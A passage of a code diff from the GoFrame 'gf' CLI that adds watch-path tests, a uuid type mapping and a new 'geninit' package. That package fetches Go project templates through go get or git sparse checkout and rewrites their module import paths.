t.Assert(isIgnoredDirName("api", defaultIgnorePatterns), false)
|
||||
|
||||
// Test custom ignore patterns
|
||||
customPatterns := []string{"build", "dist", "*.tmp"}
|
||||
t.Assert(isIgnoredDirName("build", customPatterns), true)
|
||||
t.Assert(isIgnoredDirName("dist", customPatterns), true)
|
||||
t.Assert(isIgnoredDirName("test.tmp", customPatterns), true)
|
||||
t.Assert(isIgnoredDirName("src", customPatterns), false)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_DeeplyNestedIgnore(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create a temporary directory structure with deeply nested ignored directory
|
||||
tempDir := gfile.Temp("gf_run_test_deeply_nested")
|
||||
defer gfile.Remove(tempDir)
|
||||
|
||||
// Create directory structure:
|
||||
// tempDir/
|
||||
// ├── a/
|
||||
// │ ├── b/
|
||||
// │ │ ├── c/
|
||||
// │ │ │ └── vendor/ <-- deeply nested ignored (4 levels)
|
||||
// │ │ └── d/
|
||||
// │ └── e/
|
||||
// └── f/
|
||||
gfile.Mkdir(filepath.Join(tempDir, "a", "b", "c", "vendor"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "a", "b", "d"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "a", "e"))
|
||||
gfile.Mkdir(filepath.Join(tempDir, "f"))
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Expected watch paths:
|
||||
// 1. tempDir (non-recursive) - has ignored descendant
|
||||
// 2. a (non-recursive) - has ignored descendant in b/c/vendor
|
||||
// 3. b (non-recursive) - has ignored descendant in c/vendor
|
||||
// 4. c (non-recursive) - has ignored child vendor
|
||||
// 5. d (recursive) - no ignored descendants
|
||||
// 6. e (recursive) - no ignored descendants
|
||||
// 7. f (recursive) - no ignored descendants
|
||||
|
||||
t.AssertGT(len(watchPaths), 0)
|
||||
|
||||
// Verify vendor is not in watch paths
|
||||
for _, wp := range watchPaths {
|
||||
t.Assert(strings.Contains(wp.Path, "vendor"), false)
|
||||
}
|
||||
|
||||
// Find specific paths and verify their recursive flags
|
||||
foundF := false
|
||||
for _, wp := range watchPaths {
|
||||
if wp.Path == filepath.Join(tempDir, "f") {
|
||||
foundF = true
|
||||
t.Assert(wp.Recursive, true) // f should be recursive (no ignored descendants)
|
||||
}
|
||||
}
|
||||
t.Assert(foundF, true)
|
||||
})
|
||||
}
|
||||
|
||||
func Test_cRunApp_getWatchPaths_EmptyDirectory(t *testing.T) {
|
||||
gtest.C(t, func(t *gtest.T) {
|
||||
// Create an empty temporary directory
|
||||
tempDir := gfile.Temp("gf_run_test_empty")
|
||||
defer gfile.Remove(tempDir)
|
||||
|
||||
gfile.Mkdir(tempDir)
|
||||
|
||||
app := &cRunApp{
|
||||
WatchPaths: []string{tempDir},
|
||||
}
|
||||
watchPaths := app.getWatchPaths()
|
||||
|
||||
// Empty directory should be watched recursively (no ignored descendants)
|
||||
t.Assert(len(watchPaths), 1)
|
||||
t.Assert(watchPaths[0].Path, tempDir)
|
||||
t.Assert(watchPaths[0].Recursive, true)
|
||||
})
|
||||
}
|
||||
@ -104,6 +104,10 @@ var (
|
||||
"smallmoney": {
|
||||
Type: "float64",
|
||||
},
|
||||
"uuid": {
|
||||
Type: "uuid.UUID",
|
||||
Import: "github.com/google/uuid",
|
||||
},
|
||||
}
|
||||
|
||||
// tablewriter Options
|
||||
|
||||
@ -98,7 +98,6 @@ func generateStructFieldDefinition(
|
||||
err error
|
||||
localTypeName gdb.LocalType
|
||||
localTypeNameStr string
|
||||
jsonTag = gstr.CaseConvert(field.Name, gstr.CaseTypeMatch(in.JsonCase))
|
||||
)
|
||||
|
||||
if in.TypeMapping != nil && len(in.TypeMapping) > 0 {
|
||||
@ -156,6 +155,8 @@ func generateStructFieldDefinition(
|
||||
" #" + formatFieldName(newFiledName, FieldNameCaseCamel),
|
||||
" #" + localTypeNameStr,
|
||||
}
|
||||
|
||||
jsonTag := gstr.CaseConvert(newFiledName, gstr.CaseTypeMatch(in.JsonCase))
|
||||
attrLines = append(attrLines, fmt.Sprintf(` #%sjson:"%s"`, tagKey, jsonTag))
|
||||
// orm tag
|
||||
if !in.IsDo {
|
||||
|
||||
236
cmd/gf/internal/cmd/geninit/geninit.go
Normal file
236
cmd/gf/internal/cmd/geninit/geninit.go
Normal file
@ -0,0 +1,236 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// ProcessOptions contains options for the Process function
|
||||
type ProcessOptions struct {
|
||||
SelectVersion bool // Enable interactive version selection
|
||||
ModulePath string // Custom go.mod module path (e.g., github.com/xxx/xxx)
|
||||
UpgradeDeps bool // Upgrade dependencies to latest (go get -u ./...)
|
||||
}
|
||||
|
||||
// Process handles the template generation flow from remote repository
|
||||
func Process(ctx context.Context, repo, name string, opts *ProcessOptions) error {
|
||||
if opts == nil {
|
||||
opts = &ProcessOptions{}
|
||||
}
|
||||
|
||||
// 0. Check Go environment first
|
||||
mlog.Print("Checking Go environment...")
|
||||
goEnv, err := CheckGoEnv(ctx)
|
||||
if err != nil {
|
||||
mlog.Printf("Go environment check failed: %v", err)
|
||||
return err
|
||||
}
|
||||
mlog.Printf("Go environment OK (version: %s)", goEnv.GOVERSION)
|
||||
|
||||
// Check if this is a git subdirectory URL
|
||||
if IsSubdirRepo(repo) {
|
||||
return processGitSubdir(ctx, repo, name, opts)
|
||||
}
|
||||
|
||||
// Try Go module download first, fallback to git subdirectory if it fails
|
||||
// This handles edge cases where the heuristic may be incorrect
|
||||
err = processGoModule(ctx, repo, name, opts)
|
||||
if err != nil {
|
||||
mlog.Printf("Go module download failed, trying git subdirectory mode: %v", err)
|
||||
mlog.Print("Note: If this is a git subdirectory, you can force git mode by using a full git URL")
|
||||
|
||||
// If Go module download fails, try git subdirectory as fallback
|
||||
// This handles cases where the heuristic incorrectly classified a git subdir as Go module
|
||||
if IsSubdirRepo(repo) {
|
||||
mlog.Print("Falling back to git subdirectory download...")
|
||||
return processGitSubdir(ctx, repo, name, opts)
|
||||
}
|
||||
}
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
// processGoModule handles standard Go module download via go get
|
||||
func processGoModule(ctx context.Context, repo, name string, opts *ProcessOptions) error {
|
||||
// Extract module path (without version)
|
||||
modulePath := repo
|
||||
specifiedVersion := ""
|
||||
if gstr.Contains(repo, "@") {
|
||||
parts := gstr.Split(repo, "@")
|
||||
modulePath = parts[0]
|
||||
specifiedVersion = parts[1]
|
||||
}
|
||||
|
||||
// Default name to repo basename if empty
|
||||
if name == "" {
|
||||
name = filepath.Base(modulePath)
|
||||
}
|
||||
|
||||
// Determine the target module path for go.mod
|
||||
targetModulePath := name
|
||||
if opts.ModulePath != "" {
|
||||
targetModulePath = opts.ModulePath
|
||||
}
|
||||
|
||||
// 1. Determine version to use
|
||||
var targetVersion string
|
||||
if specifiedVersion != "" {
|
||||
// User specified version
|
||||
targetVersion = specifiedVersion
|
||||
mlog.Printf("Using specified version: %s", targetVersion)
|
||||
} else if opts.SelectVersion {
|
||||
// Interactive version selection
|
||||
mlog.Print("Fetching available versions...")
|
||||
versionInfo, err := GetModuleVersions(ctx, modulePath)
|
||||
if err != nil {
|
||||
mlog.Printf("Failed to get versions: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
targetVersion, err = SelectVersion(ctx, versionInfo.Versions, modulePath)
|
||||
if err != nil {
|
||||
mlog.Printf("Version selection failed: %v", err)
|
||||
return err
|
||||
}
|
||||
} else {
|
||||
// Default: use latest version
|
||||
mlog.Print("Fetching latest version...")
|
||||
latest, err := GetLatestVersion(ctx, modulePath)
|
||||
if err != nil {
|
||||
mlog.Printf("Failed to get latest version, will try @latest tag: %v", err)
|
||||
targetVersion = "latest"
|
||||
} else {
|
||||
targetVersion = latest
|
||||
mlog.Printf("Latest version: %s", targetVersion)
|
||||
}
|
||||
}
|
||||
|
||||
// 2. Download Template with determined version
|
||||
repoWithVersion := modulePath + "@" + targetVersion
|
||||
srcDir, err := downloadTemplate(ctx, repoWithVersion)
|
||||
if err != nil {
|
||||
mlog.Printf("Download failed: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
mlog.Debugf("Template located at: %s", srcDir)
|
||||
|
||||
// 3. Generate Project
|
||||
if err := generateProject(ctx, srcDir, name, modulePath, targetModulePath); err != nil {
|
||||
mlog.Printf("Generation failed: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// 4. Handle dependencies
|
||||
var projectDir string
|
||||
if name == "." {
|
||||
projectDir = gfile.Pwd()
|
||||
} else {
|
||||
projectDir = filepath.Join(gfile.Pwd(), name)
|
||||
}
|
||||
if opts.UpgradeDeps {
|
||||
// Upgrade all dependencies to latest
|
||||
if err := upgradeDependencies(ctx, projectDir); err != nil {
|
||||
mlog.Printf("Failed to upgrade dependencies: %v", err)
|
||||
}
|
||||
} else {
|
||||
// Default: just tidy dependencies
|
||||
if err := tidyDependencies(ctx, projectDir); err != nil {
|
||||
mlog.Printf("Failed to tidy dependencies: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// processGitSubdir handles git subdirectory download via sparse checkout
|
||||
func processGitSubdir(ctx context.Context, repo, name string, opts *ProcessOptions) error {
|
||||
mlog.Print("Detected subdirectory URL, using git sparse checkout...")
|
||||
|
||||
// Check if git is available
|
||||
gitVersion, err := CheckGitEnv(ctx)
|
||||
if err != nil {
|
||||
mlog.Printf("Git is required for subdirectory templates: %v", err)
|
||||
return err
|
||||
}
|
||||
mlog.Printf("Git available (%s)", gitVersion)
|
||||
|
||||
// Download via git sparse checkout
|
||||
srcDir, gitInfo, err := downloadGitSubdir(ctx, repo)
|
||||
if err != nil {
|
||||
mlog.Printf("Git download failed: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Clean up temp directory after generation
|
||||
// The temp dir is parent of parent of srcDir (tempDir/repo/subpath)
|
||||
tempDir := filepath.Dir(filepath.Dir(srcDir))
|
||||
if tempDir != "" && gfile.Exists(tempDir) && gstr.Contains(tempDir, "gf-init-git") {
|
||||
defer func() {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory %s: %v", tempDir, err)
|
||||
} else {
|
||||
mlog.Debugf("Cleaned up temp directory: %s", tempDir)
|
||||
}
|
||||
}()
|
||||
}
|
||||
|
||||
// Default name to subpath basename if empty
|
||||
if name == "" {
|
||||
name = filepath.Base(gitInfo.SubPath)
|
||||
}
|
||||
|
||||
// Get original module name from go.mod (might be "main" or something else)
|
||||
oldModule := GetModuleNameFromGoMod(srcDir)
|
||||
if oldModule == "" {
|
||||
// Fallback: construct from git info
|
||||
oldModule = gitInfo.Host + "/" + gitInfo.Owner + "/" + gitInfo.Repo + "/" + gitInfo.SubPath
|
||||
}
|
||||
|
||||
// Determine the target module path for go.mod
|
||||
targetModulePath := name
|
||||
if opts.ModulePath != "" {
|
||||
targetModulePath = opts.ModulePath
|
||||
}
|
||||
|
||||
mlog.Debugf("Template located at: %s", srcDir)
|
||||
mlog.Debugf("Original module: %s", oldModule)
|
||||
|
||||
// Generate Project
|
||||
if err := generateProject(ctx, srcDir, name, oldModule, targetModulePath); err != nil {
|
||||
mlog.Printf("Generation failed: %v", err)
|
||||
return err
|
||||
}
|
||||
|
||||
// Handle dependencies
|
||||
var projectDir string
|
||||
if name == "." {
|
||||
projectDir = gfile.Pwd()
|
||||
} else {
|
||||
projectDir = filepath.Join(gfile.Pwd(), name)
|
||||
}
|
||||
if opts.UpgradeDeps {
|
||||
// Upgrade all dependencies to latest
|
||||
if err := upgradeDependencies(ctx, projectDir); err != nil {
|
||||
mlog.Printf("Failed to upgrade dependencies: %v", err)
|
||||
}
|
||||
} else {
|
||||
// Default: just tidy dependencies
|
||||
if err := tidyDependencies(ctx, projectDir); err != nil {
|
||||
mlog.Printf("Failed to tidy dependencies: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
126
cmd/gf/internal/cmd/geninit/geninit_ast.go
Normal file
126
cmd/gf/internal/cmd/geninit/geninit_ast.go
Normal file
@ -0,0 +1,126 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"context"
|
||||
"go/ast"
|
||||
"go/parser"
|
||||
"go/printer"
|
||||
"go/token"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// ASTReplacer handles import path replacement using Go AST
|
||||
type ASTReplacer struct {
|
||||
oldModule string
|
||||
newModule string
|
||||
fset *token.FileSet
|
||||
}
|
||||
|
||||
// NewASTReplacer creates a new AST-based import replacer
|
||||
func NewASTReplacer(oldModule, newModule string) *ASTReplacer {
|
||||
return &ASTReplacer{
|
||||
oldModule: oldModule,
|
||||
newModule: newModule,
|
||||
fset: token.NewFileSet(),
|
||||
}
|
||||
}
|
||||
|
||||
// ReplaceInFile replaces import paths in a single Go file
|
||||
func (r *ASTReplacer) ReplaceInFile(ctx context.Context, filePath string) error {
|
||||
// Read file content
|
||||
content := gfile.GetContents(filePath)
|
||||
if content == "" {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Parse the file
|
||||
file, err := parser.ParseFile(r.fset, filePath, content, parser.ParseComments)
|
||||
if err != nil {
|
||||
mlog.Debugf("Failed to parse %s: %v", filePath, err)
|
||||
return nil // Skip files that can't be parsed
|
||||
}
|
||||
|
||||
// Track if any changes were made
|
||||
changed := false
|
||||
|
||||
// Traverse and modify imports
|
||||
ast.Inspect(file, func(n ast.Node) bool {
|
||||
switch x := n.(type) {
|
||||
case *ast.ImportSpec:
|
||||
if x.Path != nil {
|
||||
importPath := strings.Trim(x.Path.Value, `"`)
|
||||
if strings.HasPrefix(importPath, r.oldModule) {
|
||||
// Replace only the leading module prefix for clarity and correctness.
|
||||
newPath := r.newModule + strings.TrimPrefix(importPath, r.oldModule)
|
||||
x.Path.Value = `"` + newPath + `"`
|
||||
changed = true
|
||||
mlog.Debugf("Replaced import: %s -> %s in %s", importPath, newPath, filePath)
|
||||
}
|
||||
}
|
||||
}
|
||||
return true
|
||||
})
|
||||
|
||||
if !changed {
|
||||
return nil
|
||||
}
|
||||
|
||||
// Write back to file
|
||||
var buf bytes.Buffer
|
||||
// Use default printer configuration to match gofmt output
|
||||
cfg := &printer.Config{}
|
||||
if err := cfg.Fprint(&buf, r.fset, file); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
return gfile.PutContents(filePath, buf.String())
|
||||
}
|
||||
|
||||
// ReplaceInDir replaces import paths in all Go files in a directory (recursively)
|
||||
func (r *ASTReplacer) ReplaceInDir(ctx context.Context, dir string) error {
|
||||
mlog.Printf("Replacing imports: %s -> %s", r.oldModule, r.newModule)
|
||||
|
||||
// Find all .go files
|
||||
files, err := findGoFiles(dir)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
for _, file := range files {
|
||||
if err := r.ReplaceInFile(ctx, file); err != nil {
|
||||
mlog.Printf("Failed to process %s: %v", file, err)
|
||||
}
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// findGoFiles recursively finds all .go files in a directory
|
||||
func findGoFiles(dir string) ([]string, error) {
|
||||
var files []string
|
||||
|
||||
err := filepath.Walk(dir, func(path string, info os.FileInfo, err error) error {
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
if !info.IsDir() && strings.HasSuffix(path, ".go") {
|
||||
files = append(files, path)
|
||||
}
|
||||
return nil
|
||||
})
|
||||
|
||||
return files, err
|
||||
}
|
||||
111
cmd/gf/internal/cmd/geninit/geninit_downloader.go
Normal file
111
cmd/gf/internal/cmd/geninit/geninit_downloader.go
Normal file
@ -0,0 +1,111 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// downloadTemplate fetches the remote repository using go get
|
||||
func downloadTemplate(ctx context.Context, repo string) (string, error) {
|
||||
// 1. Create a temporary directory workspace
|
||||
tempDir := gfile.Temp("gf-init-cli")
|
||||
if tempDir == "" {
|
||||
return "", fmt.Errorf("failed to create temporary directory")
|
||||
}
|
||||
if err := gfile.Mkdir(tempDir); err != nil {
|
||||
return "", err
|
||||
}
|
||||
defer func() {
|
||||
if err := gfile.Remove(tempDir); err != nil {
|
||||
mlog.Debugf("Failed to remove temp directory %s: %v", tempDir, err)
|
||||
}
|
||||
}() // Clean up the temp workspace
|
||||
|
||||
mlog.Debugf("Using temp workspace: %s", tempDir)
|
||||
|
||||
// 2. Initialize a temp go module to perform go get
|
||||
// We run commands inside the temp directory
|
||||
if err := runCmd(ctx, tempDir, "go", "mod", "init", "temp"); err != nil {
|
||||
return "", err
|
||||
}
|
||||
|
||||
// 3. Run go get <repo>
|
||||
// Try different version strategies: original -> @latest -> @master
|
||||
moduleName := repo
|
||||
if gstr.Contains(repo, "@") {
|
||||
moduleName = gstr.Split(repo, "@")[0]
|
||||
}
|
||||
|
||||
var downloadErrs []string
|
||||
versionsToTry := []string{repo}
|
||||
if !gstr.Contains(repo, "@") {
|
||||
versionsToTry = append(versionsToTry, repo+"@latest", repo+"@master")
|
||||
}
|
||||
|
||||
var successRepo string
|
||||
for _, tryRepo := range versionsToTry {
|
||||
mlog.Printf("Downloading template %s...", tryRepo)
|
||||
if err := runCmd(ctx, tempDir, "go", "get", tryRepo); err == nil {
|
||||
successRepo = tryRepo
|
||||
break
|
||||
} else {
|
||||
downloadErrs = append(downloadErrs, fmt.Sprintf("%s: %v", tryRepo, err))
|
||||
mlog.Debugf("Failed to download %s, trying next...", tryRepo)
|
||||
}
|
||||
}
|
||||
|
||||
if successRepo == "" {
|
||||
errMsg := "all download attempts failed"
|
||||
if len(downloadErrs) > 0 {
|
||||
errMsg = strings.Join(downloadErrs, "; ")
|
||||
}
|
||||
return "", fmt.Errorf("failed to download repo %s: %s", repo, errMsg)
|
||||
}
|
||||
|
||||
// 4. Find the local path using go list -m -json <repo>
|
||||
listCmd := exec.CommandContext(ctx, "go", "list", "-m", "-json", moduleName)
|
||||
listCmd.Dir = tempDir
|
||||
output, err := listCmd.Output()
|
||||
if err != nil {
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
return "", fmt.Errorf("go list failed: %s", string(exitErr.Stderr))
|
||||
}
|
||||
return "", fmt.Errorf("failed to locate module path: %w", err)
|
||||
}
|
||||
|
||||
var modInfo struct {
|
||||
Dir string `json:"Dir"`
|
||||
}
|
||||
if err := json.Unmarshal(output, &modInfo); err != nil {
|
||||
return "", fmt.Errorf("failed to parse go list output: %w", err)
|
||||
}
|
||||
|
||||
if modInfo.Dir == "" {
|
||||
return "", fmt.Errorf("module directory not found for %s", repo)
|
||||
}
|
||||
|
||||
return modInfo.Dir, nil
|
||||
}
|
||||
|
||||
func runCmd(ctx context.Context, dir string, name string, args ...string) error {
|
||||
cmd := exec.CommandContext(ctx, name, args...)
|
||||
cmd.Dir = dir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
return cmd.Run()
|
||||
}
|
||||
90
cmd/gf/internal/cmd/geninit/geninit_env.go
Normal file
90
cmd/gf/internal/cmd/geninit/geninit_env.go
Normal file
@ -0,0 +1,90 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"os/exec"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// GoEnv represents Go environment variables
|
||||
type GoEnv struct {
|
||||
GOVERSION string `json:"GOVERSION"`
|
||||
GOROOT string `json:"GOROOT"`
|
||||
GOPATH string `json:"GOPATH"`
|
||||
GOMODCACHE string `json:"GOMODCACHE"`
|
||||
GOPROXY string `json:"GOPROXY"`
|
||||
GO111MODULE string `json:"GO111MODULE"`
|
||||
}
|
||||
|
||||
// CheckGoEnv verifies Go is installed and properly configured
|
||||
func CheckGoEnv(ctx context.Context) (*GoEnv, error) {
|
||||
// 1. Check if go binary exists
|
||||
goPath, err := exec.LookPath("go")
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("go is not installed or not in PATH: %w", err)
|
||||
}
|
||||
mlog.Debugf("Found go binary at: %s", goPath)
|
||||
|
||||
// 2. Get go env as JSON
|
||||
cmd := exec.CommandContext(ctx, "go", "env", "-json")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
if exitErr, ok := err.(*exec.ExitError); ok {
|
||||
return nil, fmt.Errorf("go env failed: %s", string(exitErr.Stderr))
|
||||
}
|
||||
return nil, fmt.Errorf("failed to run go env: %w", err)
|
||||
}
|
||||
|
||||
// 3. Parse JSON output
|
||||
var env GoEnv
|
||||
if err := json.Unmarshal(output, &env); err != nil {
|
||||
return nil, fmt.Errorf("failed to parse go env output: %w", err)
|
||||
}
|
||||
|
||||
// 4. Validate critical environment variables
|
||||
if env.GOROOT == "" {
|
||||
return nil, fmt.Errorf("GOROOT is not set")
|
||||
}
|
||||
if env.GOMODCACHE == "" && env.GOPATH == "" {
|
||||
return nil, fmt.Errorf("neither GOMODCACHE nor GOPATH is set")
|
||||
}
|
||||
|
||||
mlog.Debugf("Go Version: %s", env.GOVERSION)
|
||||
mlog.Debugf("GOROOT: %s", env.GOROOT)
|
||||
mlog.Debugf("GOMODCACHE: %s", env.GOMODCACHE)
|
||||
mlog.Debugf("GOPROXY: %s", env.GOPROXY)
|
||||
|
||||
return &env, nil
|
||||
}
|
||||
|
||||
// CheckGitEnv verifies Git is installed and returns its version
|
||||
func CheckGitEnv(ctx context.Context) (string, error) {
|
||||
// 1. Check if git binary exists
|
||||
gitPath, err := exec.LookPath("git")
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("git is not installed or not in PATH: %w", err)
|
||||
}
|
||||
mlog.Debugf("Found git binary at: %s", gitPath)
|
||||
|
||||
// 2. Get git version
|
||||
cmd := exec.CommandContext(ctx, "git", "--version")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to get git version: %w", err)
|
||||
}
|
||||
|
||||
version := strings.TrimSpace(string(output))
|
||||
mlog.Debugf("Git version: %s", version)
|
||||
|
||||
return version, nil
|
||||
}
|
||||
110
cmd/gf/internal/cmd/geninit/geninit_generator.go
Normal file
110
cmd/gf/internal/cmd/geninit/geninit_generator.go
Normal file
@ -0,0 +1,110 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// generateProject copies the template to the destination and performs cleanup
|
||||
// oldModule: original module path from template
|
||||
// newModule: target module path for go.mod (can be different from project name)
|
||||
func generateProject(ctx context.Context, srcPath, name, oldModule, newModule string) error {
|
||||
pwd := gfile.Pwd()
|
||||
|
||||
dstPath := filepath.Join(pwd, name)
|
||||
if name == "." {
|
||||
dstPath = pwd
|
||||
}
|
||||
|
||||
if gfile.Exists(dstPath) && !gfile.IsEmpty(dstPath) {
|
||||
return fmt.Errorf("target directory %s is not empty", dstPath)
|
||||
}
|
||||
|
||||
mlog.Printf("Generating project in %s...", dstPath)
|
||||
|
||||
// 1. Copy files
|
||||
if err := gfile.Copy(srcPath, dstPath); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
// 2. Clean up .git directory
|
||||
gitDir := filepath.Join(dstPath, ".git")
|
||||
if gfile.Exists(gitDir) {
|
||||
if err := gfile.Remove(gitDir); err != nil {
|
||||
mlog.Debugf("Failed to remove .git directory: %v", err)
|
||||
}
|
||||
}
|
||||
|
||||
// 3. Clean up go.work and go.work.sum (workspace files should not be in generated project)
|
||||
for _, workFile := range []string{"go.work", "go.work.sum"} {
|
||||
workPath := filepath.Join(dstPath, workFile)
|
||||
if gfile.Exists(workPath) {
|
||||
if err := gfile.Remove(workPath); err != nil {
|
||||
mlog.Printf("Failed to remove %s: %v", workFile, err)
|
||||
} else {
|
||||
mlog.Debugf("Removed %s", workFile)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 4. Update go.mod module name
|
||||
goModPath := filepath.Join(dstPath, "go.mod")
|
||||
if gfile.Exists(goModPath) {
|
||||
content := gfile.GetContents(goModPath)
|
||||
lines := gstr.Split(content, "\n")
|
||||
if len(lines) > 0 && gstr.HasPrefix(lines[0], "module ") {
|
||||
lines[0] = "module " + newModule
|
||||
newContent := gstr.Join(lines, "\n")
|
||||
if err := gfile.PutContents(goModPath, newContent); err != nil {
|
||||
mlog.Printf("Failed to update go.mod: %v", err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 5. Use AST to replace import paths in all Go files
|
||||
if oldModule != "" && oldModule != newModule {
|
||||
replacer := NewASTReplacer(oldModule, newModule)
|
||||
if err := replacer.ReplaceInDir(ctx, dstPath); err != nil {
|
||||
return fmt.Errorf("failed to replace imports: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
mlog.Print("Project generated successfully!")
|
||||
return nil
|
||||
}
|
||||
|
||||
// tidyDependencies runs go mod tidy in the project directory
|
||||
func tidyDependencies(ctx context.Context, projectDir string) error {
|
||||
mlog.Print("Tidying dependencies (go mod tidy)...")
|
||||
if err := runCmd(ctx, projectDir, "go", "mod", "tidy"); err != nil {
|
||||
return fmt.Errorf("go mod tidy failed: %w", err)
|
||||
}
|
||||
mlog.Print("Dependencies tidied successfully!")
|
||||
return nil
|
||||
}
|
||||
|
||||
// upgradeDependencies runs go get -u ./... to upgrade all dependencies to latest
|
||||
func upgradeDependencies(ctx context.Context, projectDir string) error {
|
||||
mlog.Print("Upgrading dependencies to latest (go get -u ./...)...")
|
||||
if err := runCmd(ctx, projectDir, "go", "get", "-u", "./..."); err != nil {
|
||||
return fmt.Errorf("go get -u failed: %w", err)
|
||||
}
|
||||
// Run tidy again after upgrade
|
||||
if err := runCmd(ctx, projectDir, "go", "mod", "tidy"); err != nil {
|
||||
return fmt.Errorf("go mod tidy after upgrade failed: %w", err)
|
||||
}
|
||||
mlog.Print("Dependencies upgraded successfully!")
|
||||
return nil
|
||||
}
|
||||
241
cmd/gf/internal/cmd/geninit/geninit_git_downloader.go
Normal file
241
cmd/gf/internal/cmd/geninit/geninit_git_downloader.go
Normal file
@ -0,0 +1,241 @@
|
||||
// Copyright GoFrame gf Author(https://goframe.org). All Rights Reserved.
|
||||
//
|
||||
// This Source Code Form is subject to the terms of the MIT License.
|
||||
// If a copy of the MIT was not distributed with this file,
|
||||
// You can obtain one at https://github.com/gogf/gf.
|
||||
|
||||
package geninit
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/gogf/gf/v2/os/gfile"
|
||||
"github.com/gogf/gf/v2/text/gstr"
|
||||
|
||||
"github.com/gogf/gf/cmd/gf/v2/internal/utility/mlog"
|
||||
)
|
||||
|
||||
// GitRepoInfo holds parsed git repository information
|
||||
type GitRepoInfo struct {
|
||||
Host string // e.g., github.com
|
||||
Owner string // e.g., gogf
|
||||
Repo string // e.g., examples
|
||||
Branch string // e.g., main (default: main)
|
||||
SubPath string // e.g., httpserver/jwt
|
||||
CloneURL string // e.g., https://github.com/gogf/examples.git
|
||||
}
|
||||
|
||||
// ParseGitURL parses a git URL and extracts repository info
|
||||
// Supports formats:
|
||||
// - github.com/owner/repo
|
||||
// - github.com/owner/repo/subdir/path
|
||||
